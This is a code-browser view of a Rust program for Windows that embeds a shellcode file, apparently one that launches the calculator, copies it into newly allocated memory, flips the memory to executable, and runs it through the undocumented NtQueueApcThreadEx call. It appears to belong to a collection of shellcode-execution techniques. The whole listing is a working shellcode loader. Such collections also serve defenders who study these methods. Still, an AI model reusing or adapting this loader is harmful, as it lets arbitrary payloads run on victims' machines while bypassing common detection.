()
| 10 | |
| 11 | #[cfg(target_os = "windows")] |
| 12 | fn main() { |
| 13 | let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); |
| 14 | let shellcode_size = shellcode.len(); |
| 15 | |
| 16 | unsafe { |
| 17 | let ntdll = LoadLibraryA(b"ntdll.dll\0".as_ptr()); |
| 18 | if ntdll == 0 { |
| 19 | panic!("[-]LoadLibraryA failed: {}!", GetLastError()); |
| 20 | } |
| 21 | |
| 22 | let fn_nt_queue_apc_thread_ex = GetProcAddress(ntdll, b"NtQueueApcThreadEx\0".as_ptr()); |
| 23 | |
| 24 | let nt_queue_apc_thread_ex: extern "C" fn(HANDLE, isize, *mut c_void, isize, isize, isize) = |
| 25 | transmute(fn_nt_queue_apc_thread_ex); |
| 26 | |
| 27 | let addr = VirtualAlloc( |
| 28 | null(), |
| 29 | shellcode_size, |
| 30 | MEM_COMMIT | MEM_RESERVE, |
| 31 | PAGE_READWRITE, |
| 32 | ); |
| 33 | if addr.is_null() { |
| 34 | panic!("[-]VirtualAlloc failed: {}!", GetLastError()); |
| 35 | } |
| 36 | |
| 37 | copy(shellcode.as_ptr(), addr.cast(), shellcode_size); |
| 38 | |
| 39 | let mut old = PAGE_READWRITE; |
| 40 | let res = VirtualProtect(addr, shellcode_size, PAGE_EXECUTE, &mut old); |
| 41 | if res == FALSE { |
| 42 | panic!("[-]VirtualProtect failed: {}!", GetLastError()); |
| 43 | } |
| 44 | |
| 45 | let handle = GetCurrentThread(); |
| 46 | if handle == 0 { |
| 47 | panic!("[-]OpenProcess failed: {}!", GetLastError()); |
| 48 | } |
| 49 | |
| 50 | nt_queue_apc_thread_ex(handle, 1, addr, 0, 0, 0); |
| 51 | } |
| 52 | } |
nothing calls this directly
no outgoing calls
no test coverage detected